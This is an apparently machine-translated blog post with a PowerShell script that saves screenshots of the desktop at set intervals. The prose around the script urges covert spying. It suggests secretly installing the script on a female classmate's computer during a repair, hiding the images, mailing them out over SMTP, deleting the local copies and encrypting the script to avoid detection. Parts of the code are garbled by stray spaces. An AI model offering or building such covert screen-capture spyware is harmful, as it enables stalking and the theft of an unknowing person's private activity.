PowerShell tips for timing grab screen image _powershell

Source: Internet
Author: User
Tags time interval

Yesterday's blog wrote a timed recording of operating system behavior, in fact, the point is to grab the keystroke records and the corresponding window title bar, and many application title bar contains the file path and file name of the record, in this way you can roughly record what the operation of the program, open which files, and what keystrokes. In fact, the behavior of recording the operating system is relatively thin, because the content of the record is not very image, for beginners too vague, for humans, the image is more conducive to user understanding than text. When the operating system is not convenient to install screen recording software, but also need to look at what has been logged in users, with PowerShell script to achieve the timing of the capture image of the way to record operations, view the image to know what the landing user did, of course, you keep the directory of pictures to hide, do not let users find for good.

Of course, in the school computer department of the Cock Silk, this function can also be used to understand what their goddess preferences. What the? How do I install the script into the goddess's computer? How do I get back to you with the captured picture? Please, this simple question, you still need me to help you find the answer? Goddess of the computer is broken, usually find a computer software and hardware computer Department of the children's shoes to repair, repair the time to quietly move hands and feet. The problem with the return of the picture, can be fully timed to crawl, and then grab a certain number of packets sent to the designated mailbox, and then delete the local picture. What the? I do not know how to send PowerShell mail ... Your sister's, use the System.Net.Mail.MailMessage component to invoke SMTP to send mail you don't? I have written a similar article before ... All right, send the Buddha to the west and see for yourself. "Use PowerShell to send mail through SMTP." There is the script must be written to encrypt, as for the encryption method, another day, some day to write a special article to write about PowerShell script encryption, this kind of thing, if the goddess found the bird, it is to eat the things ah. And go out don't tell others, I gave you this idea, there are private things, their grasp of the good, if the police will ask you to tea, but it is not fun. This story is purely fictional, if there is a coincidence, I only provide creativity, if the specific implementation of the goddess to break the head, or be a policeman to tea, I would not bear any legal responsibility ha. Hey, no more pull, first on today's time to crawl the screen image method.

In fact, the method is not complex, write a crawl screen function, timed execution, the capture of the picture into the specified location, if the end of the time to complete execution. The code is not complex, there is no understanding of the brother can leave a message, I help you answer.

Next on the code:

Copy Code code as follows:

===== FileName: get-timedscreenshot.ps1=====
function Get-timedscreenshot {
<#
AUTHOR:FUHJ (powershell#live.cn, http://fuhaijun.com)
Takes screenshots at a regular interval and saves them to disk.
. PARAMETER Path
Specifies the folder path.
. PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
. Parameter Endtime
Specifies when the script should stop running in the format hh-mm
. Example
Get-timedscreenshot-path c:\temp\-interval 30-endtime 14:00
#>

[Cmdletbinding ()] Param (
[Parameter (mandatory= $True)]
[Validatescript ({Test-path-path $_})]
[String] $Path,

[Parameter (mandatory= $True)]
[Int32] $Interval,

[Parameter (mandatory= $True)]
[String] $EndTime
)

    #Define helper function that generates and saves screenshot
    function get-scr eenshot {
       $ScreenBounds = [Windows.forms.systeminformation]::virtualscreen
       $ScreenshotObject = New-object drawing.bitmap $ScreenBounds. Width, $ Screenbounds.height
       $DrawingGraphics = [Drawing.graphics]::fromimage ($ Screenshotobject)
       $DrawingGraphics. CopyFromScreen ($ Screenbounds.location, [Drawing.point]::empty, $ScreenBounds. Size)
       $ Drawinggraphics.dispose ()
       $ScreenshotObject. Save ($FilePath)
        $ScreenshotObject. Dispose ()
   }
    Try {

#load Required Assembly
add-type-assembly System.Windows.Forms

do {
#get the ' current time ' and build ' filename from it
$Time = (get-date)

[String] $FileName = "$ ($Time. Month)"
$FileName + = '-'
$FileName + = "$ ($Time. Day)"
$FileName + = '-'
$FileName + = "$ ($Time. Year)"
$FileName + = '-'
$FileName + = "$ ($Time. Hour)"
$FileName + = '-'
$FileName + = "$ ($Time. Minute)"
$FileName + = '-'
$FileName + = "$ ($Time. Second)"
$FileName + = '. png '

#use Join-path to add path to filename
[String] $FilePath = (Join-path $Path $FileName)

#run screenshot function
Get-screenshot

Write-verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds "

Start-sleep-seconds $Interval
}

#note that this would run once regardless if the specified time as passed
while ((Get-date-format hh:mm)-lt $EndTime)
}

Catch {write-error $Error [0]. ToString () + $Error [0]. Invocationinfo.positionmessage}
}

How it executes, as shown in the following illustration:

Performs the effect by generating a desktop grab at the specified directory, at a time interval, similar to the following figure.

Brother, I can only help you here!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.